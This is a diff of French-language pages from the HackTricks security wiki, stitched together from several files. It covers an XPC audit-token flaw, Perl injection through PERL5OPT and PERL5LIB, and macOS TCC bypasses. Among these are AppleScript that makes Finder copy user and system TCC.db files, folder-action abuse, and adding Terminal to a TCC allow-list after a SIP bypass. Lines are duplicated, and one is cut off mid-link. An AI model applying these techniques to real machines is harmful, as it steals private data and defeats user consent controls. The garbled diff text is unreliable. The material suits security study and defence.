- **Difficultés pour Localiser les Instances** : La recherche des instances d'utilisation de `xpc_connection_get_audit_token` était difficile, à la fois statiquement et dynamiquement.
|
||||
- **Méthodologie** : Frida a été utilisé pour accrocher la fonction `xpc_connection_get_audit_token`, en filtrant les appels ne provenant pas des gestionnaires d'événements. Cependant, cette méthode était limitée au processus accroché et nécessitait une utilisation active.
|
||||
- **Outils d'Analyse** : Des outils comme IDA/Ghidra ont été utilisés pour examiner les services mach accessibles, mais le processus était long, compliqué par des appels impliquant le cache partagé dyld.
|
||||
- **Limitations de Scripting** : Les tentatives de scriptage de l'analyse des appels à `xpc_connection_get_audit_token` à partir de blocs `dispatch_async` ont été entravées par des complexités dans l'analyse des blocs et les interactions avec le cache partagé dyld.
|
||||
* **Difficultés pour Localiser les Instances** : La recherche des instances d'utilisation de `xpc_connection_get_audit_token` était difficile, à la fois statiquement et dynamiquement.
|
||||
* **Méthodologie** : Frida a été utilisé pour accrocher la fonction `xpc_connection_get_audit_token`, filtrant les appels ne provenant pas des gestionnaires d'événements. Cependant, cette méthode était limitée au processus accroché et nécessitait une utilisation active.
|
||||
* **Outils d'Analyse** : Des outils comme IDA/Ghidra ont été utilisés pour examiner les services mach accessibles, mais le processus était long et compliqué par des appels impliquant le cache partagé dyld.
|
||||
* **Limitations de Scripting** : Les tentatives de scripter l'analyse des appels à `xpc_connection_get_audit_token` à partir de blocs `dispatch_async` ont été entravées par des complexités dans l'analyse des blocs et les interactions avec le cache partagé dyld.
|
||||
|
||||
## La correction <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
- **Problèmes Signalés** : Un rapport a été soumis à Apple détaillant les problèmes généraux et spécifiques trouvés dans `smd`.
|
||||
- **Réponse d'Apple** : Apple a résolu le problème dans `smd` en remplaçant `xpc_connection_get_audit_token` par `xpc_dictionary_get_audit_token`.
|
||||
- **Nature de la Correction** : La fonction `xpc_dictionary_get_audit_token` est considérée comme sécurisée car elle récupère le jeton d'audit directement à partir du message mach lié au message XPC reçu. Cependant, elle ne fait pas partie de l'API publique, tout comme `xpc_connection_get_audit_token`.
|
||||
- **Absence d'une Correction Plus Large** : Il n'est pas clair pourquoi Apple n'a pas mis en place une correction plus complète, comme le rejet des messages ne correspondant pas au jeton d'audit enregistré de la connexion. La possibilité de modifications légitimes du jeton d'audit dans certains scénarios (par exemple, l'utilisation de `setuid`) pourrait être un facteur.
|
||||
- **État Actuel** : Le problème persiste dans iOS 17 et macOS 14, posant un défi pour ceux qui cherchent à l'identifier et à le comprendre.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS
|
||||
* **Problèmes Signalés** : Un rapport a été soumis à Apple détaillant les problèmes généraux et spécifiques trouvés dans `smd`.
|
||||
* **Réponse d'Apple** : Apple a résolu le problème dans `smd` en remplaçant `xpc_connection_get_audit_token` par `xpc_dictionary_get_audit_token`.
|
||||
* **Nature de la Correction** : La fonction `xpc_dictionary_get_audit_token` est considérée comme sécurisée car elle récupère le jeton d'audit directement à partir du message mach lié au message XPC reçu. Cependant, elle ne fait pas partie de l'API publique, tout comme `xpc_connection_get_audit_token`.
|
||||
* **Absence d'une Correction Plus Large** : Il n'est pas clair pourquoi Apple n'a pas mis en place une correction plus complète, comme le rejet des messages ne correspondant pas au jeton d'audit enregistré de la connexion. La possibilité de changements légitimes du jeton d'audit dans certains scénarios (par exemple, l'utilisation de `setuid`) pourrait être un facteur.
|
||||
* **État Actuel** : Le problème persiste dans iOS 17 et macOS 14, posant un défi pour ceux cherchant à l'identifier et à le comprendre.
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Injection d'applications Perl sur macOS
|
||||
# Injection d'applications Perl macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Via les variables d'environnement `PERL5OPT` & `PERL5LIB`
|
||||
## Via la variable d'environnement `PERL5OPT` & `PERL5LIB`
|
||||
|
||||
En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par Perl.\
|
||||
En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par perl.\
|
||||
Par exemple, créez ce script :
|
||||
|
||||
{% code title="test.pl" %}
|
||||
|
@ -42,7 +42,7 @@ system('whoami');
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Et ensuite utilisez les variables d'environnement :
|
||||
Et ensuite utiliser les variables d'environnement :
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
```
|
||||
|
@ -67,10 +67,10 @@ Ce qui renverra quelque chose comme :
|
|||
Certains des dossiers retournés n'existent même pas, cependant, **`/Library/Perl/5.30`** existe, il n'est **pas** protégé par **SIP** et il est **avant** les dossiers **protégés par SIP**. Par conséquent, quelqu'un pourrait abuser de ce dossier pour ajouter des dépendances de script afin qu'un script Perl à haut privilège le charge.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cependant, notez que vous **devez être root pour écrire dans ce dossier** et de nos jours vous obtiendrez cette **invite TCC**:
|
||||
Cependant, notez que vous **devez être root pour écrire dans ce dossier** et de nos jours vous obtiendrez cette **invite TCC** :
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
Par exemple, si un script importe **`use File::Basename;`** il serait possible de créer `/Library/Perl/5.30/File/Basename.pm` pour exécuter du code arbitraire.
|
||||
|
||||
|
@ -80,14 +80,14 @@ Par exemple, si un script importe **`use File::Basename;`** il serait possible d
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,9 +8,9 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,7 +18,7 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
**TCC (Transparency, Consent, and Control)** est un protocole de sécurité axé sur la régulation des autorisations d'application. Son rôle principal est de protéger des fonctionnalités sensibles telles que les **services de localisation, les contacts, les photos, le microphone, la caméra, l'accessibilité et l'accès complet au disque**. En exigeant le consentement explicite de l'utilisateur avant d'accorder à une application l'accès à ces éléments, le TCC renforce la confidentialité et le contrôle de l'utilisateur sur leurs données.
|
||||
|
||||
Les utilisateurs rencontrent le TCC lorsque les applications demandent l'accès à des fonctionnalités protégées. Cela se manifeste par une invite permettant aux utilisateurs d'**approuver ou de refuser l'accès**. De plus, le TCC prend en charge les actions directes des utilisateurs, telles que **le glisser-déposer de fichiers dans une application**, pour accorder l'accès à des fichiers spécifiques, garantissant que les applications n'ont accès qu'à ce qui est explicitement autorisé.
|
||||
Les utilisateurs rencontrent le TCC lorsque les applications demandent l'accès à des fonctionnalités protégées. Cela se manifeste par une invite permettant aux utilisateurs d'**approuver ou de refuser l'accès**. De plus, le TCC prend en charge les actions directes des utilisateurs, telles que le **glisser-déposer de fichiers dans une application**, pour accorder l'accès à des fichiers spécifiques, garantissant que les applications n'ont accès qu'à ce qui est explicitement autorisé.
|
||||
|
||||
![Un exemple d'une invite TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
|
@ -38,10 +38,10 @@ Les autorisations sont **héritées de l'application parente** et les **autorisa
|
|||
|
||||
Les autorisations/refus sont ensuite stockés dans certaines bases de données TCC :
|
||||
|
||||
- La base de données système dans **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Cette base de données est **protégée par SIP**, donc seul un contournement de SIP peut écrire dedans.
|
||||
- La base de données utilisateur TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** pour les préférences par utilisateur.
|
||||
- Cette base de données est protégée, donc seuls les processus avec des privilèges TCC élevés comme l'Accès complet au disque peuvent écrire dedans (mais elle n'est pas protégée par SIP).
|
||||
* La base de données système dans **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
* Cette base de données est **protégée par SIP**, donc seul un contournement de SIP peut écrire dedans.
|
||||
* La base de données utilisateur TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** pour les préférences par utilisateur.
|
||||
* Cette base de données est protégée, donc seuls les processus avec des privilèges TCC élevés comme l'Accès complet au disque peuvent écrire dedans (mais elle n'est pas protégée par SIP).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Les bases de données précédentes sont également **protégées par TCC pour l'accès en lecture**. Vous ne pourrez donc pas lire votre base de données TCC utilisateur régulière à moins que ce ne soit à partir d'un processus TCC privilégié.
|
||||
|
@ -49,17 +49,17 @@ Les bases de données précédentes sont également **protégées par TCC pour l
|
|||
Cependant, rappelez-vous qu'un processus avec ces privilèges élevés (comme **FDA** ou **`kTCCServiceEndpointSecurityClient`**) pourra écrire dans la base de données TCC utilisateur.
|
||||
{% endhint %}
|
||||
|
||||
- Il y a une **troisième** base de données TCC dans **`/var/db/locationd/clients.plist`** pour indiquer les clients autorisés à **accéder aux services de localisation**.
|
||||
- Le fichier protégé par SIP **`/Users/carlospolop/Downloads/REG.db`** (également protégé contre l'accès en lecture avec TCC), contient l'emplacement de toutes les bases de données TCC valides.
|
||||
- Le fichier protégé par SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (également protégé contre l'accès en lecture avec TCC), contient plus d'autorisations accordées par TCC.
|
||||
- Le fichier protégé par SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (mais lisible par n'importe qui) est une liste d'applications autorisées nécessitant une exception TCC.
|
||||
* Il existe une **troisième** base de données TCC dans **`/var/db/locationd/clients.plist`** pour indiquer les clients autorisés à **accéder aux services de localisation**.
|
||||
* Le fichier protégé par SIP **`/Users/carlospolop/Downloads/REG.db`** (également protégé contre l'accès en lecture avec TCC), contient l'emplacement de toutes les **bases de données TCC valides**.
|
||||
* Le fichier protégé par SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (également protégé contre l'accès en lecture avec TCC), contient plus d'autorisations TCC accordées.
|
||||
* Le fichier protégé par SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (mais lisible par n'importe qui) est une liste d'applications autorisées nécessitant une exception TCC.
|
||||
|
||||
{% hint style="success" %}
|
||||
La base de données TCC dans **iOS** se trouve dans **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
L'**interface utilisateur du centre de notifications** peut apporter des **changements dans la base de données TCC système** :
|
||||
Le **centre de notifications UI** peut apporter des **changements dans la base de données TCC système** :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -134,7 +134,7 @@ En vérifiant les deux bases de données, vous pouvez vérifier les autorisation
|
|||
|
||||
<summary>Comment exécuter s'il s'agit d'un chemin absolu</summary>
|
||||
|
||||
Il suffit de faire **`launctl load you_bin.plist`**, avec un plist comme suit:
|
||||
Il suffit de faire **`launctl load you_bin.plist`**, avec un plist comme suit :
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -229,10 +229,10 @@ Par conséquent, d'autres applications utilisant le même nom et l'ID de bundle
|
|||
|
||||
### Autorisations et permissions TCC
|
||||
|
||||
Les applications **doivent non seulement** demander et se voir **accorder l'accès** à certaines ressources, mais elles doivent également **avoir les autorisations pertinentes**.\
|
||||
Les applications **n'ont pas seulement besoin** de **demander** et d'avoir **accès accordé** à certaines ressources, elles doivent également **avoir les autorisations pertinentes**.\
|
||||
Par exemple, **Telegram** a l'autorisation `com.apple.security.device.camera` pour demander **l'accès à la caméra**. Une **application** qui n'a pas cette **autorisation ne pourra pas** accéder à la caméra (et l'utilisateur ne sera même pas invité à donner les autorisations).
|
||||
|
||||
Cependant, pour que les applications **accèdent** à **certains dossiers d'utilisateurs**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **autorisations spécifiques.** Le système gérera l'accès de manière transparente et **invitera l'utilisateur** au besoin.
|
||||
Cependant, pour que les applications **accèdent** à **certains dossiers d'utilisateurs**, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **autorisations spécifiques.** Le système gérera l'accès de manière transparente et **demandera à l'utilisateur** si nécessaire.
|
||||
|
||||
Les applications d'Apple **ne généreront pas de fenêtres contextuelles**. Elles contiennent des **droits préalablement accordés** dans leur **liste d'autorisations**, ce qui signifie qu'elles ne **généreront jamais de fenêtre contextuelle**, **ni** n'apparaîtront dans l'un des **bases de données TCC.** Par exemple:
|
||||
```bash
|
||||
|
@ -248,7 +248,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
Cela évitera à Calendar de demander à l'utilisateur d'accéder aux rappels, au calendrier et au carnet d'adresses.
|
||||
|
||||
{% hint style="success" %}
|
||||
Outre quelques documentations officielles sur les autorisations, il est également possible de trouver des **informations intéressantes non officielles sur les autorisations** sur [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
Outre quelques documentations officielles sur les autorisations, il est également possible de trouver des **informations intéressantes non officielles sur les autorisations** dans [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
{% endhint %}
|
||||
|
||||
Certaines autorisations TCC sont : kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Il n'existe pas de liste publique définissant toutes ces autorisations, mais vous pouvez consulter cette [**liste de celles connues**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
|
||||
|
@ -277,7 +277,7 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
|
|||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Il est curieux que l'attribut **`com.apple.macl`** soit géré par le **bac à sable**, et non par tccd.
|
||||
Il est curieux que l'attribut **`com.apple.macl`** soit géré par le **Sandbox**, et non par tccd.
|
||||
|
||||
Notez également que si vous déplacez un fichier qui autorise l'UUID d'une application sur votre ordinateur vers un autre ordinateur, car la même application aura des UID différents, cela ne donnera pas accès à cette application.
|
||||
{% endhint %}
|
||||
|
@ -345,13 +345,13 @@ Si vous avez réussi à pénétrer dans une application avec certaines autorisat
|
|||
### Automatisation (Finder) vers FDA\*
|
||||
|
||||
Le nom TCC de l'autorisation d'automatisation est : **`kTCCServiceAppleEvents`**\
|
||||
Cette autorisation TCC spécifique indique également l'**application qui peut être gérée** à l'intérieur de la base de données TCC (donc les autorisations ne permettent pas de gérer tout).
|
||||
Cette autorisation TCC spécifique indique également l'**application qui peut être gérée** dans la base de données TCC (donc les autorisations ne permettent pas de gérer tout).
|
||||
|
||||
**Finder** est une application qui **a toujours FDA** (même si elle n'apparaît pas dans l'interface utilisateur), donc si vous avez des privilèges d'**automatisation** dessus, vous pouvez abuser de ses privilèges pour **lui faire effectuer certaines actions**.\
|
||||
Dans ce cas, votre application aurait besoin de l'autorisation **`kTCCServiceAppleEvents`** sur **`com.apple.Finder`**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Vol de la base de données TCC des utilisateurs" %}
|
||||
{% tab title="Voler les TCC.db des utilisateurs" %}
|
||||
```applescript
|
||||
# This AppleScript will copy the system TCC database into /tmp
|
||||
osascript<<EOD
|
||||
|
@ -365,7 +365,7 @@ EOD
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Voler les systèmes TCC.db" %}
|
||||
{% tab title="Voler TCC.db des systèmes" %}
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
tell application "Finder"
|
||||
|
@ -381,17 +381,17 @@ EOD
|
|||
Vous pourriez abuser de cela pour **écrire votre propre base de données utilisateur TCC**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Avec cette autorisation, vous pourrez **demander à Finder d'accéder aux dossiers restreints par TCC** et vous donner les fichiers, mais à ma connaissance, vous **ne pourrez pas faire exécuter un code arbitraire par Finder** pour abuser pleinement de son accès FDA.
|
||||
Avec cette autorisation, vous pourrez **demander au Finder d'accéder aux dossiers restreints par TCC** et vous donner les fichiers, mais à ma connaissance, vous **ne pourrez pas faire exécuter un code arbitraire par le Finder** pour abuser pleinement de son accès FDA.
|
||||
|
||||
Par conséquent, vous ne pourrez pas abuser des capacités complètes de la FDA.
|
||||
{% endhint %}
|
||||
|
||||
C'est le message de TCC pour obtenir des privilèges d'automatisation sur Finder :
|
||||
Voici la fenêtre de dialogue TCC pour obtenir des privilèges d'automatisation sur le Finder :
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que parce que l'application **Automator** a l'autorisation TCC **`kTCCServiceAppleEvents`**, elle peut **contrôler n'importe quelle application**, comme Finder. Ainsi, en ayant l'autorisation de contrôler Automator, vous pourriez également contrôler le **Finder** avec un code comme celui ci-dessous :
|
||||
Notez que parce que l'application **Automator** a l'autorisation TCC **`kTCCServiceAppleEvents`**, elle peut **contrôler n'importe quelle application**, comme le Finder. Ainsi, en ayant l'autorisation de contrôler Automator, vous pourriez également contrôler le **Finder** avec un code comme celui ci-dessous :
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
@ -422,7 +422,7 @@ De même avec l'application **Script Editor,** elle peut contrôler Finder, mais
|
|||
|
||||
### Automatisation (SE) vers certains TCC
|
||||
|
||||
**System Events peut créer des actions de dossier, et les actions de dossier peuvent accéder à certains dossiers TCC** (Bureau, Documents et Téléchargements), donc un script comme celui-ci peut être utilisé pour abuser de ce comportement:
|
||||
**System Events peut créer des actions de dossier, et les actions de dossier peuvent accéder à certains dossiers TCC** (Bureau, Documents et Téléchargements), donc un script comme celui ci-dessous peut être utilisé pour abuser de ce comportement:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -516,7 +516,7 @@ EOF
|
|||
```
|
||||
### `kTCCServiceAccessibility` vers FDA\*
|
||||
|
||||
Consultez cette page pour quelques [**payloads pour abuser des autorisations d'accessibilité**](macos-tcc-payloads.md#accessibility) pour une élévation de privilèges vers FDA\* ou pour exécuter un enregistreur de frappe par exemple.
|
||||
Consultez cette page pour quelques [**payloads pour abuser des autorisations d'accessibilité**](macos-tcc-payloads.md#accessibility) pour une élévation de privilèges vers FDA\* ou exécuter un enregistreur de frappe par exemple.
|
||||
|
||||
### **Client de sécurité de point de terminaison vers FDA**
|
||||
|
||||
|
@ -530,24 +530,24 @@ Si vous avez **`kTCCServiceEndpointSecurityClient`**, vous avez FDA. Fin.
|
|||
|
||||
En obtenant des **permissions d'écriture** sur la **base de données TCC** utilisateur, vous ne pouvez pas vous accorder vous-même les permissions **`FDA`**, seules celles qui se trouvent dans la base de données système peuvent le faire.
|
||||
|
||||
Mais vous pouvez vous accorder les **`Droits d'automatisation pour Finder`**, et abuser de la technique précédente pour une élévation de privilèges vers FDA\*.
|
||||
Mais vous pouvez vous accorder des **`Droits d'automatisation pour Finder`**, et abuser de la technique précédente pour une élévation de privilèges vers FDA\*.
|
||||
|
||||
### **FDA vers permissions TCC**
|
||||
|
||||
L'accès **complet au disque** dans TCC est nommé **`kTCCServiceSystemPolicyAllFiles`**
|
||||
L'accès complet au disque est nommé TCC **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Je ne pense pas que ce soit une véritable élévation de privilèges, mais au cas où vous le trouveriez utile : Si vous contrôlez un programme avec FDA, vous pouvez **modifier la base de données TCC des utilisateurs et vous accorder tout accès**. Cela peut être utile en tant que technique de persistance au cas où vous pourriez perdre vos permissions FDA.
|
||||
Je ne pense pas que ce soit une véritable élévation de privilèges, mais au cas où vous le trouveriez utile : Si vous contrôlez un programme avec FDA, vous pouvez **modifier la base de données TCC des utilisateurs et vous accorder n'importe quel accès**. Cela peut être utile en tant que technique de persistance au cas où vous pourriez perdre vos permissions FDA.
|
||||
|
||||
### **Contournement de SIP pour contourner TCC**
|
||||
|
||||
La base de données système TCC est protégée par **SIP**, c'est pourquoi seuls les processus avec les **autorisations indiquées pourront la modifier**. Par conséquent, si un attaquant trouve un **contournement de SIP** sur un **fichier** (pouvant modifier un fichier restreint par SIP), il pourra :
|
||||
La base de données système TCC est protégée par SIP, c'est pourquoi seuls les processus avec les **autorisations indiquées pourront la modifier**. Par conséquent, si un attaquant trouve un **contournement de SIP** sur un **fichier** (pouvoir modifier un fichier restreint par SIP), il pourra :
|
||||
|
||||
* **Supprimer la protection** d'une base de données TCC et s'accorder toutes les permissions TCC. Il pourrait abuser de l'un de ces fichiers par exemple :
|
||||
* La base de données système TCC
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
Cependant, il existe une autre option pour abuser de ce **contournement de SIP pour contourner TCC**, le fichier `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` est une liste blanche d'applications nécessitant une exception TCC. Par conséquent, si un attaquant peut **supprimer la protection SIP** de ce fichier et ajouter sa **propre application**, l'application pourra contourner TCC.\
|
||||
Cependant, il existe une autre option pour abuser de ce **contournement de SIP pour contourner TCC**, le fichier `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` est une liste d'applications autorisées nécessitant une exception TCC. Par conséquent, si un attaquant peut **supprimer la protection SIP** de ce fichier et ajouter sa **propre application**, l'application pourra contourner TCC.\
|
||||
Par exemple pour ajouter Terminal :
|
||||
```bash
|
||||
# Get needed info
|
||||
|
@ -591,14 +591,14 @@ AllowApplicationsList.plist:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
